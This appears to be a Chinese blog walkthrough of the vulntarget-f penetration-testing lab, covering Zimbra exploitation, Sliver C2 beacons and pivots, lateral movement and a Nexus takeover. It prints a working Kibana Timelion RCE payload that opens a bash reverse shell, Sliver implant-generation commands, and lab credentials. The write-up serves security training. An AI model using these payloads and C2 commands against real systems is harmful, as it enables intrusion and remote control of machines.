网络拓扑

host ip1 ip2
ubuntu(自用) 192.168.130.14 /
centos 192.168.130.3 10.0.10.2
ubuntu1 10.0.10.3
10.0.20.2
ubuntu2 10.0.20.3 /

信息收集

开放了很多端口,优先从web入手。

fscan 过一遍网站指纹,发现可能可以利用xxe。

zimbra cmk​​

去看443端口是一个名为zimbra​的cms。

在msf中搜到有可以利用的模块设置好参数run,稳定的情况下直接获得一个shell。

上线sliver

sliver生成配置文件,待会生成beacon,session一断开就无了。

profiles new beacon --mtls 192.168.130.14 --os linux --format elf --skip-symbols --seconds 5 --jitter 3 linux-beacon

开启web服务后下载生成的马子,赋权运行上线。

interactive​派生一个新的session会话,可以看到还有第二个子网。

提权

尝试一下提权,traitor来提权,提示可以使用CVE-2022-0847​。

但是失败了,此路不通。

传searchall上来搜搜有没有root的密码,将导出的结果下载下来,全局搜索可以找到类似登录的凭据root:vulntarget-f​,可以成功登录上。

内网横向

一层代理

没提权也不影响,先挂起代理,/etc/proxychains.conf​中添加一行 socks5 127.0.0.1 1081​。

上fscan直接扫,-hn过滤掉当前的机器和自己的物理机,发现了10.0.10.3​这个机器,似乎有未授权可以利用。

看看9200这个端口,有一些json数据。不过目前用起来sliver的代理还是很稳定的,比msf好多了,但是说回来没有什么特别的利用点。

再次进行端口扫描,这次指定一下从21开始到最大65535来扫就不会错过重要的,就发现了5601这个端口。

kibana rce

访问5601,是个名为kibana​的后台管理。

确认版本号,与复现的环境一样存在漏洞。

漏洞在timelion​这里,填入exp:

.es().props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.0.10.2/6666 0>&1\'");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

因为这台机器不出网,所以在外网cento os上nc -lvvp 6666​建立监听,之后再访问canvas​,过一会就会获得到shell了。这个很稳定断开了再开机监听还是会会连获得shell。

转发上线

为了更稳定的控制决定转移到sliver上继续操作。因为这台机器不出网,所以在外网机器的session中开启pivots​建立中转,指定参数--tcp-pivot​同时生成implant。

(UNAWARE_SPECIALIST) » pivots tcp --bind 10.0.10.2

[*] Started tcp pivot listener 10.0.10.2:9898 with id 1

 (UNAWARE_SPECIALIST) » pivots

 ID   Protocol   Bind Address     Number Of Pivots
==<span style="font-weight: bold;" class="mark"> </span>======<span style="font-weight: bold;" class="mark"> </span>============<span style="font-weight: bold;" class="mark"> </span>================
1 TCP 10.0.10.2:9898 0 (UNAWARE_SPECIALIST) » generate beacon --tcp-pivot 10.0.10.2:9898 --os linux --format elf --skip-symbols [*] Generating new linux/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 13s
[*] Implant saved to /home/lockly/karplin/CHIEF_PENALTY (UNAWARE_SPECIALIST) »

在外网的cento os上用python开起web服务(注意他是python2),但是当前的目录权限不足,迁移到/tmp​目录下下载。

下载成功之后赋权执行没有反应,官网上说仅仅支持session​,而我前面生成的时候指定了是beacon,去掉beacon重新生成,其他的和上面一样。

再次开启web服务,供内网机器10.0.10.3下载后赋权运行,获取到session会话。

提权

还是先尝试一下提权,传traitor上去执行,但还试了还是不行。

二层代理

无伤大雅,继续向内网横向,发现还存在一个网段。

 (ELEGANT_SEWER) »
(ELEGANT_SEWER) » ifconfig +--------------------------------------+
| ens32 |
+--------------------------------------+
| # | IP Addresses | MAC Address |
+---+--------------+-------------------+
| 2 | 10.0.10.3/24 | 00:0c:29:f0:f4:ca |
+--------------------------------------+ +--------------------------------------+
| ens35 |
+--------------------------------------+
| # | IP Addresses | MAC Address |
+---+--------------+-------------------+
| 3 | 10.0.20.2/24 | 00:0c:29:f0:f4:d4 |
+--------------------------------------+
1 adapters not shown.

还是传fscan上去扫这个网段的存活主机和存在的服务,得到有一个10.0.20.3​机器。

再次对这台机器详细扫一下端口,结果还是这两个,8081这个站的标题为 Nexus Respository Manager​。

浏览器挂上新开的代理:

继续访问这台机器的8081端口,这里加载就要很久。

登录爆破

加载完之后如下:没有可以利用的地点,去搜了一下利用的方式需要先登录。

尝试在登录的地方用burpsuite爆破一下。

使用凭据admin:abcdef​成功登录后台。

在gayhub搜索相关的利用脚本,用这个脚本一键拿下shell,直接就是root权限。不过这次挂上代理不太稳定,最好是关掉socks重新开一下。

在内网机器上再次创建tcp中转,生成implant,然后python开启web服务,不同于外网机器,这台机器中的环境是python3,要用python -m http.server 8000​。

generate --tcp-pivot 10.0.20.2:9898 --os linux --format elf --skip-symbols

至此三台机器全部上线,查找一下有没有flag。

flag如下:

Sliver C2 实战 vulntarget-f的更多相关文章

  1. Codeforces Round #555 (Div. 3) c2 d e f

    c2:Increasing Subsequence (hard version) 那边小取那边,然后相等比较后面的长度 #include<bits/stdc++.h> using name ...

  2. Git 沙盒模拟实战(基础篇)

    Git 沙盒模拟实战 分支 现有一个主分支 创建分支 # 创建分支 $ git branch bugFix # 切换到指定分支 $ git checkout bugFix 或者 # 创建分支,并切换到 ...

  3. 获取img的真实宽高

    之前项目后台上传图片时需要对图片的宽高做限制,一开始百度了之后使用js进行判断,可是这种方式存在一定问题,后来就改在后台判断了.现在吧这两种方式都贴出来. 一.用js获取: 先说第一个方法:obj.s ...

  4. 反调试技术常用API,用来对付检测od和自动退出程序

    在调试一些病毒程序的时候,可能会碰到一些反调试技术,也就是说,被调试的程序可以检测到自己是否被调试器附加了,如果探知自己正在被调试,肯定是有人试图反汇编啦之类的方法破解自己.为了了解如何破解反调试技术 ...

  5. 复旦大学2015--2016学年第二学期高等代数II期末考试情况分析

    一.期末考试成绩班级前几名 胡晓波(90).杨彦婷(88).宋卓卿(85).唐指朝(84).陈建兵(83).宋沛颖(82).王昊越(81).白睿(80).韩沅伯(80).王艺楷(80).张漠林(80) ...

  6. TJI读书笔记14-闭包与回调

      TJI读书笔记14-闭包与回调 闭包与回调 为什么要使用内部类?内部类继承自某个类或者实现某个接口,内部类的代码可以操作外嵌类的对象. 这不是使用内部类的理由. 那么为什么使用内部类呢? 我觉得如 ...

  7. 从零开始---控制台用c写俄罗斯方块游戏(1)

    从零开始---控制台用c写俄罗斯方块游戏(1) 很少写博文,一来自身知识有限,二来自己知道,已经有很多这样的博文了,三就是因为懒,文笔也一般,四来刚出来工作,时间也不多 之所以写这篇博文,是因为应群里 ...

  8. [OpenJudge 3066]随机序列

    [OpenJudge 3066]随机序列 试题描述 Bob喜欢按照如下规则生成随机数: 第一步:令a[0] = S, 当n = 0: 第二步:a[n+1] = (a[n]*A+B)%P: 第三步:如果 ...

  9. 复旦大学2014--2015学年第一学期高等代数I期末考试情况分析

    一.期末考试成绩班级前几名 金羽佳(92).包振航(91).陈品翰(91).孙浩然(90).李卓凡(85).张钧瑞(84).郭昱君(84).董麒麟(84).张诚纯(84).叶瑜(84) 二.总成绩计算 ...

  10. 【转】ChainMapper 实例理解二

    package com.oncedq.code; import java.io.DataInput; import java.io.DataOutput; import java.io.IOExcep ...

随机推荐

  1. C#设计模式13——建造者模式的写法

    1. 什么是建造者模式? 建造者模式是一种创建型设计模式,它通过将一个复杂的对象分解为多个简单的对象并按照一定的顺序进行组装而创建出一个复杂的对象.这样可以使得构造过程更加灵活,同时也可以隐藏创建过程 ...

  2. 接口自动化复习第四天利用正则和faker提取替换变量值

    在做接口自动化测试的时候,我们经常会遇到,有些字段利用随机生成数据就行了,不需要自己去构造测试数据.今天我就是要python中的第三方库faker来构造随机数,其次使用正则表达式来提取变量. 首先在接 ...

  3. 百度网盘(百度云)SVIP超级会员共享账号每日更新(2023.12.1)

    一.百度网盘SVIP超级会员共享账号 可能很多人不懂这个共享账号是什么意思,小编在这里给大家做一下解答. 我们多知道百度网盘很大的用处就是类似U盘,不同的人把文件上传到百度网盘,别人可以直接下载,避免 ...

  4. 持续集成指南:Gitlab CI/CD 自动部署前端项目

    前言 之前陆续写了 Gitlab 的安装使用还有 Gitlab CI/CD 的配置使用,已经把 AspNetCore 的后端项目都做了持续集成了,尝到甜头之后,现在前端的项目也要加入自动化部署,所以经 ...

  5. [转帖]nginx 剖析 request_time和upstream_response_time的误区、区别

    https://cloud.tencent.com/developer/article/1767981 首先,澄清一个误区 upstream_response_time必须在upstream配置时才能 ...

  6. [转帖]超好用的自带火焰图的 Java 性能分析工具 Async-profiler 了解一下

    https://cloud.tencent.com/developer/article/1554194 火焰图 如果你经常遇到 Java 线上性能问题束手无策,看着线上服务 CPU 飙升一筹莫展,发现 ...

  7. [转帖]JMeter InfluxDB v2.0 listener plugin

    https://github.com/mderevyankoaqa/jmeter-influxdb2-listener-plugin Support my Ukrainian Family ️ Lik ...

  8. [转帖]龙芯 vs 飞腾:各种测试数据看国产CPU水平

    https://zhuanlan.zhihu.com/p/99921594 2019年年末,龙芯.飞腾两大国产CPU巨头更是相继组织了规模宏大的年会,发布了新型桌面芯片及其整机产品,顿时硝烟四起.各大 ...

  9. linux 查看系统计划任务相关的命令

    最近公司排查计划任务: for i in `ls /etc/cron.d` ; do cat /etc/cron.d/$i |grep -v "#" ; done for i in ...

  10. node+express+ multer 实现文件上传入门

    文件上传 文件上传需要借助一个中间件 multer 因此我们需要安装 cnpm install multer --save 前端界面 在express创建的项目下的 public/upload目录下创 ...